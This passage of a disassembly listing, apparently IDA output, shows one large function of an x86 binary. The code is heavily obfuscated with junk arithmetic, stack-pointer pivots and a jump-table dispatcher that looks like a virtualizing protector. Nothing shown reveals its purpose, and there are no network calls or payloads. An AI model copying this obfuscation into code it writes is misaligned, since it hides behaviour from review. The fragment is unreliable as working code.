pop ebp sub ebp, 48AF3E06h jmp loc_5913E5 ; --------------------------------------------------------------------------- loc_59D40F: ; CODE XREF: sub_57DD3A+1B368j mov ecx, [esp+2Ah+var_2A] jmp loc_593736 ; --------------------------------------------------------------------------- loc_59D417: ; CODE XREF: sub_57DD3A+1A298j add edi, 5FC264B1h jmp loc_592866 ; --------------------------------------------------------------------------- loc_59D422: ; CODE XREF: sub_57DD3A+183BDj or eax, 169A7D68h push ecx mov ecx, 3F3712D5h xor eax, ecx pop ecx xor eax, 419862EDh push ebx mov ebx, 601D74F6h sub ebx, 597B6FC8h or ebx, 3694101Dh sub ebx, 289E2A7Fh push esi mov esi, 88EBC6F9h jmp loc_596628 ; --------------------------------------------------------------------------- loc_59D458: ; CODE XREF: sub_57DD3A+184BAj pop edx add ebp, 4 jmp loc_59FDB8 ; --------------------------------------------------------------------------- loc_59D464: ; CODE XREF: sub_57DD3A+20327j add ebx, 4 jmp loc_5912B3 ; --------------------------------------------------------------------------- loc_59D46F: ; CODE XREF: sub_57DD3A+191DEj push eax push esi push 56103227h pop esi jmp loc_5997D9 ; --------------------------------------------------------------------------- loc_59D47C: ; CODE XREF: sub_57DD3A+224A7j push ebx push ecx jmp loc_5A30F5 ; --------------------------------------------------------------------------- loc_59D483: ; CODE XREF: sub_57DD3A+1AD6Dj add edx, 1BF5159Dh or edx, 15CA5DA9h and edx, 7DB727A7h sub edx, 42A007A5h jmp loc_59CC29 ; --------------------------------------------------------------------------- loc_59D4A0: ; CODE XREF: sub_57DD3A+20A0Aj or eax, eax jz loc_5A1B89 push edx push 6058h mov [esp+3Eh+var_3E], edi jmp loc_591C89 ; --------------------------------------------------------------------------- push [esp+3Eh+var_3E] jmp loc_59F86C ; --------------------------------------------------------------------------- loc_59D4BE: ; CODE XREF: sub_57DD3A+1D3DCj add edx, 4 sub edx, 4 xchg edx, [esp+4Eh+var_50+2] pop esp jmp loc_597F5C ; --------------------------------------------------------------------------- loc_59D4D3: ; CODE XREF: sub_57DD3A+1B2B7j mov [esp+32h+var_32], edx push ecx jmp loc_592AB0 ; --------------------------------------------------------------------------- loc_59D4DC: ; CODE XREF: sub_57DD3A+121A0j add esp, 4 push edx sub esp, 4 jmp loc_59AF1F ; --------------------------------------------------------------------------- loc_59D4EB: ; CODE XREF: sub_57DD3A+13466j pop esp jmp loc_59162C ; --------------------------------------------------------------------------- loc_59D4F1: ; CODE XREF: sub_57DD3A+19D56j mov edx, [esp+26h+var_26] add esp, 4 add ebx, 40C04B56h add ebx, edi sub ebx, 40C04B56h push edx push eax mov eax, 422C0E5Fh mov edx, eax pop eax jmp loc_5A2176 ; --------------------------------------------------------------------------- loc_59D517: ; CODE XREF: sub_57DD3A+1A2F6j xor [esp+58h+var_58], ebx jmp loc_5A1C06 ; --------------------------------------------------------------------------- loc_59D51F: ; CODE XREF: sub_57DD3A+1C0CFj sub edi, 115747C4h push ecx push ebx mov ebx, 3DBA321Fh push edi mov edi, 0 sub edi, ebx mov ebx, edi jmp loc_5A2BC4 ; --------------------------------------------------------------------------- loc_59D53B: ; CODE XREF: sub_57DD3A+14FEBj push esi mov esi, 4 add eax, esi mov esi, [esp+24h+var_26+2] jmp loc_59B4DB ; --------------------------------------------------------------------------- loc_59D54B: ; CODE XREF: sub_57DD3A+112F7j mov [esp+34h+var_36+2], edi mov edi, esp push ebx push edi mov edi, 4 mov ebx, edi pop edi jmp loc_59860B ; --------------------------------------------------------------------------- loc_59D55F: ; CODE XREF: sub_57DD3A+22D50j push [esp+38h+var_3A+2] pop eax add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_597E1D ; --------------------------------------------------------------------------- loc_59D577: ; CODE XREF: sub_57DD3A+166B5j shr ah, 5 push bx mov bh, 0C5h sub ah, bh pop bx jmp loc_59BB55 ; --------------------------------------------------------------------------- loc_59D587: ; CODE XREF: sub_57DD3A+17F5Ej push eax mov eax, 4 jmp loc_59DB81 ; --------------------------------------------------------------------------- loc_59D592: ; CODE XREF: sub_57DD3A+18E03j mov [esp+7Eh+var_80+2], ecx xchg ebp, [esp+7Eh+var_80+2] jmp loc_59ED83 ; --------------------------------------------------------------------------- loc_59D59D: ; CODE XREF: sub_57DD3A+16871j neg dl inc dl sub dl, 0D4h sub bl, dl mov edx, [esp+50h+var_50] add esp, 4 add bl, 16h sub bl, al jmp loc_59E7D7 ; --------------------------------------------------------------------------- loc_59D5B9: ; CODE XREF: sub_57DD3A+1E83Dj push esp jmp loc_5A0067 ; --------------------------------------------------------------------------- loc_59D5BF: ; CODE XREF: sub_57DD3A+1A72Fj mov ecx, 72266A9Dh add esi, ecx pop ecx add esi, eax sub esi, 72266A9Dh jmp loc_58EA05 ; --------------------------------------------------------------------------- loc_59D5D4: ; CODE XREF: sub_57DD3A+1C6A0j pop ecx add ecx, 4 jmp loc_5979EC ; --------------------------------------------------------------------------- loc_59D5E0: ; CODE XREF: sub_57DD3A+1ED2Bj xor esi, [esp+1Eh+var_1E] xor [esp+1Eh+var_1E], esi xor esi, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] push 3FC1h mov [esp+22h+var_22], ebx jmp loc_58E44B ; --------------------------------------------------------------------------- loc_59D5F9: ; CODE XREF: sub_57DD3A+1CEC6j mov [esp+1Ch+var_1E+2], edx mov edx, esp jmp loc_593AA1 ; --------------------------------------------------------------------------- loc_59D603: ; CODE XREF: sub_57DD3A+20AFCj mov edi, [esp+1Ch+var_1E+2] add esp, 4 add ecx, 4 xor ecx, [esp+18h+var_1A+2] xor [esp+18h+var_1A+2], ecx xor ecx, [esp+18h+var_1A+2] mov esp, [esp+18h+var_1A+2] jmp loc_59848B ; --------------------------------------------------------------------------- loc_59D623: ; CODE XREF: sub_57DD3A+1BA0Fj pop ebx jmp loc_595EC8 ; --------------------------------------------------------------------------- loc_59D629: ; CODE XREF: sub_57DD3A+216AAj pop edx xchg ebx, [esp+6Ch+var_6C] mov esp, [esp+6Ch+var_6C] shl [esp+6Ch+var_6C], cl jmp loc_599AD6 ; --------------------------------------------------------------------------- loc_59D638: ; CODE XREF: sub_57DD3A+23DB3j sub esp, 4 mov [esp+70h+var_70], ebp mov ebp, 700E2851h jmp loc_59B444 ; --------------------------------------------------------------------------- loc_59D648: ; CODE XREF: sub_57DD3A+15881j mov [esp+4Ch+var_4C], eax jmp loc_594084 ; --------------------------------------------------------------------------- loc_59D650: ; CODE XREF: sub_57DD3A+1C940j sub esi, ebx jmp loc_59E510 ; --------------------------------------------------------------------------- loc_59D657: ; CODE XREF: sub_57DD3A+238CCj pop ebp push ebp jmp loc_5A0BF3 ; --------------------------------------------------------------------------- loc_59D65E: ; CODE XREF: sub_57DD3A+14B98j add edi, ebp pop ebp add edi, 4 xchg edi, [esp+32h+var_32] pop esp push ecx push esp mov ecx, [esp+36h+var_36] jmp loc_5942C8 ; --------------------------------------------------------------------------- mov edx, [esp+36h+var_36] push 7A8Eh mov [esp+3Ah+var_3A], esi jmp loc_5A27EB ; --------------------------------------------------------------------------- loc_59D682: ; CODE XREF: sub_57DD3A+17B7Bj push 28F1h mov [esp+60h+var_60], ecx jmp loc_59F6CC ; --------------------------------------------------------------------------- loc_59D68F: ; DATA XREF: sub_57DD3A+1035Eo mov ax, word ptr [esp+60h+var_60] push edx push esp push [esp+68h+var_68] pop edx add esp, 4 push 1C5Dh mov [esp+68h+var_68], eax sub esp, 4 jmp loc_597D5A ; --------------------------------------------------------------------------- push [esp+6Ch+var_6C] push [esp+70h+var_70] jmp loc_5A12EA ; --------------------------------------------------------------------------- loc_59D6BA: ; CODE XREF: sub_57DD3A+18D2Cj not edi xchg edi, esi or esi, 65B05672h jmp loc_5A15C6 ; --------------------------------------------------------------------------- loc_59D6C9: ; CODE XREF: sub_57DD3A+13160j pop eax add esp, 4 add ebp, edx mov edx, [esp+5Ch+var_5C] add esp, 4 jmp loc_59F75E ; --------------------------------------------------------------------------- loc_59D6DD: ; CODE XREF: sub_57DD3A+1CF01j pop ecx jmp loc_596973 ; --------------------------------------------------------------------------- loc_59D6E3: ; CODE XREF: sub_57DD3A+17D42j push edx jmp loc_597941 ; --------------------------------------------------------------------------- loc_59D6E9: ; CODE XREF: sub_57DD3A+2157Ej add edi, 4 sub edi, 4 xchg edi, [esp+42h+var_42] pop esp push esp pop [esp+42h+var_42] push esi jmp loc_58FCE1 ; --------------------------------------------------------------------------- loc_59D703: ; CODE XREF: sub_57DD3A+21759j mov dl, cl pop ecx jmp loc_59A1CF ; --------------------------------------------------------------------------- loc_59D70B: ; CODE XREF: sub_57DD3A+1BA62j sub eax, ebx push [esp+56h+var_58+2] jmp loc_59DBA7 ; --------------------------------------------------------------------------- loc_59D715: ; CODE XREF: sub_57DD3A+2420Ej pop edx jmp loc_59DAFA ; --------------------------------------------------------------------------- loc_59D71B: ; CODE XREF: sub_57DD3A+2522Bj push ebx mov ebx, 14E0610h jmp loc_591614 ; --------------------------------------------------------------------------- loc_59D726: ; CODE XREF: sub_57DD3A+1B75Aj not ebp not ebp push esi mov esi, 154B1D63h sub esi, 61E61794h shl esi, 1 neg esi jmp loc_59A3E9 ; --------------------------------------------------------------------------- loc_59D73F: ; CODE XREF: sub_57DD3A+2175Fj add esp, 4 push 5387h jmp loc_5956E9 ; --------------------------------------------------------------------------- loc_59D74C: ; CODE XREF: sub_57DD3A+22452j not ecx xor ecx, 0D7DCC158h jmp loc_5961A4 ; --------------------------------------------------------------------------- loc_59D759: ; CODE XREF: sub_57DD3A+1B800j mov edi, 3107EE06h sub esi, edi pop edi sub ebx, esi jmp loc_59B655 ; --------------------------------------------------------------------------- loc_59D768: ; CODE XREF: sub_57DD3A+23701j or ebp, 697430E2h xor ebp, 8117035h sub ebp, 135DEFC6h or edx, ebp pop ebp jmp loc_5A20A5 ; --------------------------------------------------------------------------- loc_59D782: ; CODE XREF: sub_57DD3A+13C50j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59D787: ; CODE XREF: sub_57DD3A+1796Bj mov [esp+6+var_8+2], eax mov eax, 4E6A4248h shr eax, 2 inc eax jmp loc_5A2391 ; --------------------------------------------------------------------------- loc_59D798: ; CODE XREF: sub_57DD3A+1C889j mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp+0Ch+var_E+2] xor [esp+0Ch+var_E+2], ebp xor ebp, [esp+0Ch+var_E+2] pop esp jmp loc_596DAC ; --------------------------------------------------------------------------- loc_59D7B2: ; CODE XREF: sub_57DD3A+1B0BAj xchg edx, [esp+2Eh+var_2E] pop esp mov [esp+2Ah+var_2A], ebx push edx jmp loc_59B114 ; --------------------------------------------------------------------------- loc_59D7BF: ; CODE XREF: sub_57DD3A+2138Cj add edi, 1FEC69E7h add edi, esi sub edi, 1FEC69E7h add edi, 79055E78h jmp loc_595381 ; --------------------------------------------------------------------------- loc_59D7D8: ; CODE XREF: sub_57DD3A+10ED7j pop edx inc edx jmp loc_59240D ; --------------------------------------------------------------------------- loc_59D7DF: ; CODE XREF: sub_57DD3A+234DFj shr ecx, 6 push ebx mov ebx, 60454972h jmp loc_594CC0 ; --------------------------------------------------------------------------- loc_59D7ED: ; CODE XREF: sub_57DD3A+146A3j mov ch, dl mov bl, ch pop ecx mov al, bl jmp loc_59F849 ; --------------------------------------------------------------------------- loc_59D7F9: ; CODE XREF: sub_57DD3A+2433Aj xor bl, 0F5h xor dl, bl pop ebx push 12B1h mov [esp+2Ch+var_2E+2], ecx mov ch, dl jmp loc_598F80 ; --------------------------------------------------------------------------- loc_59D80E: ; CODE XREF: sub_57DD3A+16E8Dj push 3C45BE9h pop esi jmp loc_593F3A ; --------------------------------------------------------------------------- loc_59D819: ; CODE XREF: sub_57DD3A+14CCCj add edx, 4 jmp loc_59C55F ; --------------------------------------------------------------------------- loc_59D821: ; CODE XREF: sub_57DD3A+1B936j sub esp, 4 mov [esp+62h+var_64+2], edi jmp loc_5A148F ; --------------------------------------------------------------------------- loc_59D82C: ; CODE XREF: sub_57DD3A+12EE2j sub eax, 0B528AFEFh add edi, eax pop eax xchg edi, [esp+50h+var_50] pop esp sub edx, ecx pop ecx and ecx, edx mov edx, [esp+0] push esi mov esi, esp push 1F24h mov [esp+50h+var_50], ebx mov ebx, 4 add esi, ebx pop ebx add esi, 4 xchg esi, [esp+4Ch+var_4C] mov esp, [esp+4Ch+var_4C] shr ecx, 0 jmp loc_5A2F96 ; --------------------------------------------------------------------------- loc_59D867: ; CODE XREF: sub_57DD3A+11E52j mov ebp, 5BAC45ABh xor esi, ebp pop ebp sub edi, 28760953h add edi, esi add edi, 28760953h pop esi add edi, 4 xchg edi, [esp+36h+var_36] pop esp jmp loc_597A4C ; --------------------------------------------------------------------------- loc_59D88A: ; CODE XREF: sub_57DD3A+1C2C2j pop edi add esp, 4 push edx mov edx, 251628E4h sub esi, edx pop edx add esi, 4E666CB8h add esi, ebx jmp loc_591753 ; --------------------------------------------------------------------------- loc_59D8A4: ; CODE XREF: sub_57DD3A+14C4Bj pop esp jmp loc_59A14E ; --------------------------------------------------------------------------- loc_59D8AA: ; CODE XREF: sub_57DD3A+1D08Cj add edi, ebp mov ebp, [esp+0] add esp, 4 push eax mov eax, 2 sub edi, 6C63DC5h add edi, eax push eax mov eax, 0C09615Dh add eax, 3D845AAAh add eax, 0BD3881BEh add edi, eax pop eax pop eax xor edi, [esp-6+arg_0+2] xor [esp-6+arg_0+2], edi jmp loc_59C4AD ; --------------------------------------------------------------------------- loc_59D8E2: ; CODE XREF: sub_57DD3A+10BA0j push ecx mov cl, 72h or cl, 3Ah shr cl, 2 dec cl push 1440h mov [esp+0], ebx jmp loc_599996 ; --------------------------------------------------------------------------- loc_59D8FA: ; CODE XREF: sub_57DD3A+10D4Cj sub edx, eax add edx, 24144087h add edx, 6B616F0h push [esp+1Ch+var_1E+2] pop eax jmp loc_595E13 ; --------------------------------------------------------------------------- loc_59D911: ; CODE XREF: sub_57DD3A+1E79Ej mov cl, bl mov ebx, [esp+4Eh+var_50+2] jmp loc_5937A4 ; --------------------------------------------------------------------------- loc_59D91B: ; CODE XREF: sub_57DD3A+22DEFj sub edi, 291203B7h add edi, edx add edi, 291203B7h add edi, 2276601Fh mov edx, [esp+4Eh+var_50+2] jmp loc_5910EC ; --------------------------------------------------------------------------- loc_59D937: ; CODE XREF: sub_57DD3A+221BCj xor ecx, [esp+4Eh+var_50+2] pop esp jmp loc_5A083A ; --------------------------------------------------------------------------- loc_59D940: ; CODE XREF: sub_57DD3A+1EFEEj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+18h+var_1A+2] pop esp jmp loc_59B480 ; --------------------------------------------------------------------------- loc_59D955: ; DATA XREF: sub_57DD3A+10356o push esi sub esp, 4 mov [esp+1Ch+var_1E+2], esp push ebx mov ebx, 4 jmp loc_590EB5 ; --------------------------------------------------------------------------- loc_59D96A: ; CODE XREF: sub_57DD3A+120C3j add ebp, 593E3B47h add ebx, ebp jmp loc_5A1456 ; --------------------------------------------------------------------------- loc_59D977: ; CODE XREF: sub_57DD3A+1A270j mov ecx, [esp+60h+var_60] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+64h+var_64] jmp loc_594BA8 ; --------------------------------------------------------------------------- loc_59D98D: ; CODE XREF: sub_57DD3A+20298j mov ecx, 6C273FCEh sub esp, 4 mov [esp+68h+var_68], ecx xor [esp+68h+var_68], 1718417Eh pop ebx push eax mov eax, 631056F9h jmp loc_5960ED ; --------------------------------------------------------------------------- loc_59D9AE: ; CODE XREF: sub_57DD3A+23157j push eax mov eax, 65F24F5Bh sub eax, 1 jmp loc_59BD38 ; --------------------------------------------------------------------------- push [esp+6Ch+var_6C] jmp loc_5982C8 ; --------------------------------------------------------------------------- loc_59D9C4: ; CODE XREF: sub_57DD3A+21326j dec edi not edi and edi, 4C4F6C7Eh add edi, 1 shr edi, 3 sub edi, 0B1E96F35h mov ebx, edi pop edi shr ebx, 7 sub esp, 4 mov [esp+70h+var_70], eax push ecx mov ecx, 48A65FF6h mov eax, ecx pop ecx sub eax, 79C35326h and eax, 63602FC8h or eax, 46C5503Bh sub eax, 0FBA82AC3h and ebx, eax pop eax neg ebx jmp loc_5A0766 ; --------------------------------------------------------------------------- loc_59DA0C: ; CODE XREF: sub_57DD3A+16311j or esi, 26937327h inc esi sub esi, 0C78503Fh jmp loc_595B2F ; --------------------------------------------------------------------------- mov cx, word ptr [esp+22h+var_22] push 2482h mov [esp+26h+var_26], esi jmp loc_594D13 ; --------------------------------------------------------------------------- loc_59DA2F: ; CODE XREF: sub_57DD3A+1B5B7j sub esp, 4 mov [esp+34h+var_36+2], ebx mov ebx, 47454A24h shl ebx, 4 push eax push ecx mov ecx, 48F65608h push ebp jmp loc_599062 ; --------------------------------------------------------------------------- loc_59DA4D: ; CODE XREF: sub_57DD3A+1F693j push ebp xor [esp+8+var_8], esi xor esi, [esp+8+var_8] xor [esp+8+var_8], esi not esi jmp loc_5904C3 ; --------------------------------------------------------------------------- loc_59DA5E: ; CODE XREF: sub_57DD3A+24849j mov esi, 57B03DD4h xor esi, 5A6A38A8h sub eax, esi jmp loc_5A17D2 ; --------------------------------------------------------------------------- loc_59DA70: ; CODE XREF: sub_57DD3A+13135j add al, 0D3h push [esp+5Ch+var_5C] pop ecx push edi jmp loc_5927EE ; --------------------------------------------------------------------------- loc_59DA7C: ; CODE XREF: sub_57DD3A+12C68j add esp, 4 sub esp, 4 mov [esp+0Ch+var_E+2], ebp push [esp+0Ch+var_8] jmp loc_592D89 ; --------------------------------------------------------------------------- loc_59DA91: ; CODE XREF: sub_57DD3A+21752j xor esi, eax pop eax push 4647h jmp loc_596159 ; --------------------------------------------------------------------------- loc_59DA9E: ; CODE XREF: sub_57DD3A+109D0j inc ecx inc ecx push edi mov edi, 6B141E7Dh or edi, 4B937D93h xor edi, 22B209C0h or edi, 36A23461h or edi, 69AD4F0Ah add edi, 4D1340D6h xor edi, 2B3378h add ecx, edi pop edi add edi, ecx pop ecx add edi, 2 xchg edi, [esp+0Ch+var_E+2] pop esp jmp loc_59974E ; --------------------------------------------------------------------------- loc_59DADC: ; CODE XREF: sub_57DD3A+24DCCj xor ecx, [esp+8+var_8] mov esp, [esp+8+var_8] shr [esp+8+var_8], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59DAFA: ; CODE XREF: sub_57DD3A+1F9DCj movzx eax, al push dword ptr [edi+eax*4] push edx push 419866D9h jmp loc_59C6F3 ; --------------------------------------------------------------------------- loc_59DB0B: ; CODE XREF: sub_57DD3A+1E5C2j xchg ebp, [esp-16h+arg_12] pop esp push ebx push esp pop ebx jmp loc_5A0030 ; --------------------------------------------------------------------------- loc_59DB17: ; CODE XREF: sub_57DD3A+16D14j mov ebx, esp add ebx, 4 jmp loc_59C8A9 ; --------------------------------------------------------------------------- loc_59DB24: ; CODE XREF: sub_57DD3A+136CEj mov esp, [esp+1Ah+var_1A] mov [esp+1Ah+var_1A], ebp push edx push 76A7h mov [esp+22h+var_22], esi mov esi, ebx mov edx, esi jmp loc_595167 ; --------------------------------------------------------------------------- loc_59DB3C: ; CODE XREF: sub_57DD3A+1D4A7j push edx push 507Bh jmp loc_58E39F ; --------------------------------------------------------------------------- mov ax, word ptr [esp+52h+var_54+2] push 6A91h mov [esp+56h+var_58+2], ecx push esp mov ecx, [esp+5Ah+var_5C+2] add esp, 4 jmp loc_59F4C0 ; --------------------------------------------------------------------------- loc_59DB62: ; CODE XREF: sub_57DD3A+177FFj xor dword ptr [esp+0], 2CCC0721h jmp loc_5949BE ; --------------------------------------------------------------------------- loc_59DB6E: ; CODE XREF: sub_57DD3A+1EA24j inc esi jmp loc_596A64 ; --------------------------------------------------------------------------- loc_59DB74: ; CODE XREF: sub_57DD3A+254B9j dec ch add ch, 0C1h xor ch, 6Bh jmp loc_595F22 ; --------------------------------------------------------------------------- loc_59DB81: ; CODE XREF: sub_57DD3A+1F853j sub esi, eax mov eax, [esp+0Ch+var_E+2] add esp, 4 push esi push [esp+0Ch+var_8] pop esi pop [esp+0Ch+var_E+2] pop esp push 52Bh mov [esp+8+var_8], esp add [esp+8+var_8], 4 jmp loc_593A74 ; --------------------------------------------------------------------------- loc_59DBA7: ; CODE XREF: sub_57DD3A+1F9D6j pop ebx add esp, 4 mov edx, [esp+52h+var_54+2] add esp, 4 add eax, 2 push 528Ch mov [esp+52h+var_54+2], eax jmp loc_5A064F ; --------------------------------------------------------------------------- loc_59DBC4: ; CODE XREF: sub_57DD3A+159D7j push edi jmp loc_5983A0 ; --------------------------------------------------------------------------- loc_59DBCA: ; CODE XREF: sub_57DD3A+17B5Bj pop ebx sub eax, 577C7843h sub ebp, eax pop eax jmp loc_59EBD9 ; --------------------------------------------------------------------------- loc_59DBD8: ; CODE XREF: sub_57DD3A+116B1j push edi push 4C11912h pop edi push eax mov eax, 419C3F1Fh inc eax xor eax, 6938470Ah sub eax, 0C2E19009h add edi, eax pop eax mov ebp, edi pop edi xor ebp, 366C2980h sub edx, ebp pop ebp add edx, 62776A60h sub edx, ebx sub edx, 62776A60h add edx, 5CE828B3h sub edx, 1A41ACEh mov ebx, [esp+3Ch+var_3E+2] add esp, 4 jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59DC27: ; CODE XREF: sub_57DD3A+14DF7j xor edi, 18EA756Eh push eax jmp loc_5944AB ; --------------------------------------------------------------------------- loc_59DC33: ; CODE XREF: sub_57DD3A+1DEBBj push 74350343h jmp loc_58EA37 ; --------------------------------------------------------------------------- loc_59DC3D: ; CODE XREF: sub_57DD3A+13E2Ej xor [esp+20h+var_1E+2], edi jmp loc_5935DE ; --------------------------------------------------------------------------- loc_59DC46: ; CODE XREF: sub_57DD3A+1AB31j pop esp mov [esp+42h+var_42], esi push ebx pop esi mov eax, esi jmp loc_5A1E2F ; --------------------------------------------------------------------------- loc_59DC53: ; CODE XREF: sub_57DD3A+19592j push 1B58h mov [esp+3Eh+var_3E], edx mov edx, esp push ebp push ecx mov ecx, 452D7CC3h mov ebp, 90E9F799h sub ebp, ecx pop ecx push 46A2h mov [esp+46h+var_46], esi mov esi, esp add esi, 4 sub esi, 4 push esi push [esp+4Ah+var_46] pop esi pop [esp+4Ah+var_4C+2] mov esp, [esp+46h+var_46] mov [esp+46h+var_46], edx mov edx, 320807AAh shr edx, 7 xor edx, 19432C0Dh jmp loc_5A0486 ; --------------------------------------------------------------------------- loc_59DCA1: ; CODE XREF: sub_57DD3A+20005j mov edi, [esp+46h+var_46] add esp, 4 xor esi, 754268F0h neg esi shl esi, 7 xor esi, 0F078A000h and eax, esi push [esp+42h+var_42] push [esp+46h+var_46] pop esi add esp, 4 push 5BA1h mov [esp+46h+var_46], edx push esp pop edx add edx, 4 jmp loc_598EDD ; --------------------------------------------------------------------------- loc_59DCDC: ; CODE XREF: sub_57DD3A+148D0j sub ebx, 4E853C4Ch add ebx, eax add ebx, 4E853C4Ch pop eax xchg ebx, [esp+20h+var_22+2] pop esp jmp loc_59137B ; --------------------------------------------------------------------------- loc_59DCF4: ; CODE XREF: sub_57DD3A+16FC0j add eax, 63D137Bh push esi jmp loc_59C425 ; --------------------------------------------------------------------------- loc_59DCFF: ; CODE XREF: sub_57DD3A+16AD6j pop ebx jmp loc_58F09A ; --------------------------------------------------------------------------- loc_59DD05: ; CODE XREF: sub_57DD3A+20580j mov edx, 10394A18h not edx add edx, 1D5A5A74h jmp loc_594229 ; --------------------------------------------------------------------------- loc_59DD17: ; CODE XREF: sub_57DD3A+22D81j push ebx mov ebx, 47B05EABh shl ebx, 5 xor ebx, 37F3082Eh xchg ebp, ebx not ebp xchg ebp, ebx sub ebx, 6E455289h sub ebx, 8731511Ah jmp loc_5A0986 ; --------------------------------------------------------------------------- loc_59DD3D: ; CODE XREF: sub_57DD3A+1B28Fj mov esi, edi jmp loc_59DCA1 ; --------------------------------------------------------------------------- loc_59DD44: ; CODE XREF: sub_57DD3A+12B00j pop ecx mov ebx, ecx pop ecx add esi, ebx jmp loc_597052 ; --------------------------------------------------------------------------- lodsb xor al, bl push ecx push ebp mov ebp, esp add ebp, 4 jmp loc_5A0F66 ; --------------------------------------------------------------------------- loc_59DD61: ; CODE XREF: sub_57DD3A+1D63Ej mov bx, word ptr [esp+4Ah+var_4C+2] push esi push esp push [esp+52h+var_54+2] pop esi add esp, 4 push eax mov eax, 2FBF31C2h jmp loc_594296 ; --------------------------------------------------------------------------- loc_59DD7C: ; CODE XREF: sub_57DD3A+24634j push 0ADEh mov [esp+56h+var_58+2], edx mov dl, 4Fh jmp loc_59E95D ; --------------------------------------------------------------------------- loc_59DD8B: ; CODE XREF: sub_57DD3A+1D261j add ebx, edi pop edi push ecx jmp loc_59AC40 ; --------------------------------------------------------------------------- loc_59DD94: ; CODE XREF: sub_57DD3A+177EAj sub eax, edi jmp loc_5917DA ; --------------------------------------------------------------------------- loc_59DD9B: ; CODE XREF: sub_57DD3A+22299j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59DDA0: ; CODE XREF: sub_57DD3A+13CEEj xor [esp+12h+var_12], ebx xor ebx, [esp+12h+var_12] pop esp sub eax, 547208B5h add eax, edx add eax, 547208B5h push ecx mov ecx, 3C5830C1h shr ecx, 6 and ecx, 7E341F86h jmp loc_58F69B ; --------------------------------------------------------------------------- loc_59DDC7: ; CODE XREF: sub_57DD3A+21ECEj sub ebp, 52242113h sub ebp, 60C97E22h mov edi, ebp jmp loc_58F41C ; --------------------------------------------------------------------------- loc_59DDDA: ; CODE XREF: sub_57DD3A+17DE5j mov edi, [esp+18h+var_1A+2] add esp, 4 add ecx, edx pop edx push 126Fh mov [esp+14h+var_16+2], edx push ebp mov ebp, 2 mov edx, ebp jmp loc_59640C ; --------------------------------------------------------------------------- loc_59DDF8: ; CODE XREF: sub_57DD3A+11785j pop eax sub al, dh mov edx, [esp+50h+var_50] sub esp, 4 mov [esp+54h+var_54], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+54h+var_54] jmp loc_596AB3 ; --------------------------------------------------------------------------- loc_59DE1A: ; CODE XREF: sub_57DD3A+1F330j mov esp, [esp+4+var_4] jmp loc_597776 ; --------------------------------------------------------------------------- loc_59DE22: ; CODE XREF: sub_57DD3A+24B15j push eax jmp loc_599DD9 ; --------------------------------------------------------------------------- loc_59DE28: ; CODE XREF: sub_57DD3A+17CC7j mov ecx, esp jmp loc_59D097 ; --------------------------------------------------------------------------- loc_59DE2F: ; CODE XREF: sub_57DD3A+114E3j mov [esp+10h+var_12+2], ecx jmp loc_59FD54 ; --------------------------------------------------------------------------- loc_59DE37: ; CODE XREF: sub_57DD3A+123DEj mov ebp, ebx pop ebx sub ebp, 6DEB362Eh push eax mov eax, 69BE629Ch inc eax shr eax, 5 shl eax, 8 jmp loc_59FC25 ; --------------------------------------------------------------------------- loc_59DE52: ; CODE XREF: sub_57DD3A+13AE9j sub [esp+58h+var_54], 46E5EEDh pop esi push [esp+54h+var_54] mov ebx, [esp+58h+var_58] jmp loc_5A0877 ; --------------------------------------------------------------------------- loc_59DE66: ; CODE XREF: sub_57DD3A+21BD7j pop esp mov [esp+54h+var_54], esi push ebx mov ebx, 2D9449Ah inc ebx not ebx add ebx, 2D944A0h mov esi, ebx mov ebx, [esp+58h+var_58] add esp, 4 add ebx, 5F734CA3h push 7FA3h mov [esp+58h+var_58], edi mov edi, 6CB86E41h or edi, 73D5646Fh shl edi, 4 shl edi, 4 neg edi shl edi, 4 push edx mov edx, 42EF2698h shl edx, 1 push ebp mov ebp, 593C20ECh or ebp, 0DB74ECBh not ebp jmp loc_59CBAF ; --------------------------------------------------------------------------- loc_59DEC3: ; CODE XREF: sub_57DD3A+1CFCFj pop ecx mov edx, edi pop edi mov ebp, [esp+50h+var_50] jmp loc_594CEA ; --------------------------------------------------------------------------- loc_59DECF: ; CODE XREF: sub_57DD3A+19A0Aj add ecx, 68991788h pop ebx sub ecx, 4 jmp loc_59C1A8 ; --------------------------------------------------------------------------- loc_59DEDE: ; CODE XREF: sub_57DD3A+23C20j pop esp add ebx, 4 push eax jmp loc_592331 ; --------------------------------------------------------------------------- loc_59DEEB: ; CODE XREF: sub_57DD3A+12E18j push [esp+5Ch+var_58] mov esi, [esp+60h+var_60] add esp, 4 pop [esp+5Ch+var_5C] mov esp, [esp+58h+var_58] mov cx, word ptr [esp+58h+var_58] push edi push esp pop edi sub esp, 4 mov [esp+60h+var_60], ebx mov ebx, 4 sub edi, 1D744330h sub edi, 0DC55B6Ch add edi, 1A7902B2h jmp loc_59C980 ; --------------------------------------------------------------------------- loc_59DF27: ; CODE XREF: sub_57DD3A+2437Aj push esi mov esi, esp push ebx jmp loc_59BF95 ; --------------------------------------------------------------------------- loc_59DF30: ; CODE XREF: sub_57DD3A+15A84j mov edi, ebp pop ebp add eax, edi mov edi, [esp+8+var_8] jmp loc_5A0885 ; --------------------------------------------------------------------------- loc_59DF3D: ; CODE XREF: sub_57DD3A+15541j add ecx, 4 xchg ecx, [esp-4+arg_0] jmp loc_597FA9 ; --------------------------------------------------------------------------- loc_59DF48: ; CODE XREF: sub_57DD3A+1D75Bj pop esi and eax, ecx jmp loc_594E05 ; --------------------------------------------------------------------------- loc_59DF50: ; CODE XREF: sub_57DD3A+1CB8Bj push esi mov esi, esp add esi, 4 push 33CAh mov [esp+3Ah+var_3A], edx push edi mov edi, 7BF3280Bh xor edi, 7BF3280Fh mov edx, edi pop edi add esi, edx mov edx, [esp+3Ah+var_3A] add esp, 4 push esi push [esp+3Ah+var_36] pop esi pop [esp+3Ah+var_3A] pop esp jmp loc_59E27F ; --------------------------------------------------------------------------- loc_59DF87: ; CODE 